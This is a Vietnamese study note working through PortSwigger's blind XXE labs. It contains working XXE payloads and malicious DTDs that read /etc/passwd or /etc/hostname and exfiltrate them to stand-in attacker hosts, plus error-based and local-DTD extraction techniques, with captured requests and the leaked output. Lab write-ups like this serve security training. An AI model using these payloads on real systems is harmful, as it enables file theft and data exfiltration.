Blind XXE
XXE mù, không thấy output trực tiếp.
Detecting Blind XXE Using Out-of-band (OAST) Techniques
Bạn thường có thể detect blind XXE sử dụng cùng kỹ thuật như cho XXE SSRF attack nhưng kích hoạt network interaction out-of-band đến system bạn kiểm soát. Ví dụ, bạn sẽ định nghĩa external entity như sau:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
Đôi khi, tấn công XXE sử dụng entity thông thường bị block, do input validation bởi ứng dụng hoặc hardening của XML parser được sử dụng. Trong tình huống này, bạn có thể sử dụng XML parameter entity thay thế.
XML parameter entity là loại XML entity đặc biệt chỉ có thể được reference elsewhere trong DTD. Đầu tiên, declaration của XML parameter entity bao gồm ký tự percent trước tên entity:
<!ENTITY % myparameterentity "my parameter entity value" >
Và thứ hai, parameter entity được reference sử dụng ký tự percent thay vì ampersand thông thường:
%myparameterentity;
Điều này nghĩa là bạn có thể test blind XXE sử dụng out-of-band detection qua XML parameter entity như sau:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
Lab: Blind XXE with Out-of-band Interaction
Request gốc:
POST /product/stock HTTP/2
Host: 0a2f0020041d941a80812627001000f2.web-security-academy.net
Cookie: session=HksoBgqFssma4UncNmIgCNdegJuif0Wc
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a2f0020041d941a80812627001000f2.web-security-academy.net
Referer: https://0a2f0020041d941a80812627001000f2.web-security-academy.net/product?productId=1
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://ymooo3bu5lounahxhp3jhq3lgcm3atyi.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Lab: Blind XXE with Out-of-band Interaction via XML Parameter Entities
Request gốc:
POST /product/stock HTTP/2
Host: 0aee00ed043bd39a8022eefc00a50021.web-security-academy.net
Cookie: session=GJeYe8KrrY30G3zMsjJKBITpjboqZUbU
Content-Length: 107
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0aee00ed043bd39a8022eefc00a50021.web-security-academy.net
Referer: https://0aee00ed043bd39a8022eefc00a50021.web-security-academy.net/product?productId=1
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://fp85rkeb82rbqrkek660k762jtpkdb10.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Exploiting Blind XXE to Exfiltrate Data Out-of-band
Ví dụ về DTD độc hại để exfiltrate nội dung của file /etc/passwd
như sau:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
DTD này thực hiện các bước sau:
- Định nghĩa XML parameter entity gọi là
file
, chứa nội dung của file/etc/passwd
. - Định nghĩa XML parameter entity gọi là
eval
, chứa declaration dynamic của XML parameter entity khác gọi làexfiltrate
. Entityexfiltrate
sẽ được evaluate bằng cách thực hiện request HTTP đến web server của kẻ tấn công chứa giá trị của entityfile
trong query string URL. - Sử dụng entity
eval
, gây declaration dynamic của entityexfiltrate
được thực hiện. - Sử dụng entity
exfiltrate
, để giá trị của nó được evaluate bằng cách request URL được chỉ định.
Kẻ tấn công có thể serve DTD độc hại tại URL sau:
http://web-attacker.com/malicious.dtd
Cuối cùng, kẻ tấn công phải submit payload XXE sau đến ứng dụng dễ bị tấn công:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>\n```
> [!note]
>
> Kỹ thuật này có thể không hoạt động với một số nội dung file, bao gồm **ký tự newline** chứa trong file `/etc/passwd`. Điều này vì một số XML parser fetch URL trong definition external entity sử dụng API validate ký tự được phép xuất hiện trong URL. Trong tình huống này, có thể **sử dụng protocol FTP thay vì HTTP**. Đôi khi, sẽ không thể exfiltrate data chứa ký tự newline, và vậy file như **`/etc/hostname` có thể bị target thay thế**.
### Lab: Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD
DTD độc hại:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM ' https://exploit-0a9c0009048c439880c8d97e01bd004c.exploit-server.net/?x=%file;'>">
%eval;
%exfiltrate;
Nhớ thay đổi tên file trong exploit server thành malicious.dtd
.
Payload inject vào request:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a9c0009048c439880c8d97e01bd004c.exploit-server.net/malicious.dtd"> %xxe;]>\n```
Log trên exploit server:
```shell
10.0.4.67 2024-08-31 11:01:28 +0000 "GET /malicious.dtd HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.4.67 2024-08-31 11:01:28 +0000 "GET /?x=754ef8d2e9cc HTTP/1.1" 200 "User-Agent: Java/21.0.1"
Exploiting Blind XXE to Retrieve Data via Error Messages
Cách tiếp cận thay thế để khai thác blind XXE là kích hoạt lỗi XML parsing nơi message lỗi chứa data nhạy cảm bạn muốn retrieve. Điều này sẽ effective nếu ứng dụng trả về message lỗi kết quả trong response.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Lab: Exploiting Blind XXE to Retrieve Data via Error Messages
DTD độc hại:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aba00370408435780c8e89e01260052.exploit-server.net/exploit"> %xxe;]>\n```
Response có nội dung của `/etc/passwd` như mong đợi:
```http
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Exploiting Blind XXE by Repurposing a Local DTD
Theo đặc tả XML, kỹ thuật liên quan đến sử dụng XML parameter entity trong definition của parameter entity khác (sử dụng %eval;
và %error;
trong lab trên) được phép trong external DTD nhưng không trong internal DTD (một số parser có thể tolerate, nhưng nhiều không).
Vậy về lỗ hổng blind XXE khi interaction out-of-band bị block? Bạn không thể exfiltrate data qua kết nối out-of-band, và không thể load external DTD từ server remote.
Nếu DTD của document sử dụng cả declaration internal và external, internal DTD có thể override entity được định nghĩa trong external DTD. Tấn công này hoạt động bằng cách reference DTD file trên filesystem local và redefine entity để gây lỗi parsing reveal data nhạy cảm.
Ví dụ, giả sử có file DTD trên filesystem server tại vị trí /usr/local/app/schema.dtd
, và file DTD này định nghĩa entity gọi là custom_entity
. Kẻ tấn công có thể kích hoạt message lỗi XML parsing chứa nội dung của file /etc/passwd
bằng cách submit hybrid DTD như sau:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Locating an Existing DTD File to Repurpose
Vì ứng dụng trả về bất kỳ message lỗi nào thrown bởi XML parser, bạn có thể dễ dàng enumerate local DTD file chỉ bằng cách cố gắng load chúng từ internal DTD.
Ví dụ, hệ thống Linux sử dụng GNOME desktop environment thường có file DTD tại /usr/share/yelp/dtd/docbookx.dtd
. Bạn có thể test xem file này có mặt bằng cách submit payload XXE sau, sẽ gây lỗi nếu file thiếu:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Sau khi bạn test list common DTD file để locate file có mặt, bạn sau đó cần obtain copy của file và review để tìm entity bạn có thể redefine.
Lab: Exploiting XXE to Retrieve Data by Repurposing a Local DTD
File file:///usr/share/yelp/dtd/docbookx.dtd
tồn tại. File này có entity tên ISOamso
như hint đề cập.
Payload:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Response có nội dung của /etc/passwd
như mong đợi:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2419
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Related
list
from outgoing([[Port Swigger - Blind XXE]])
sort file.ctime asc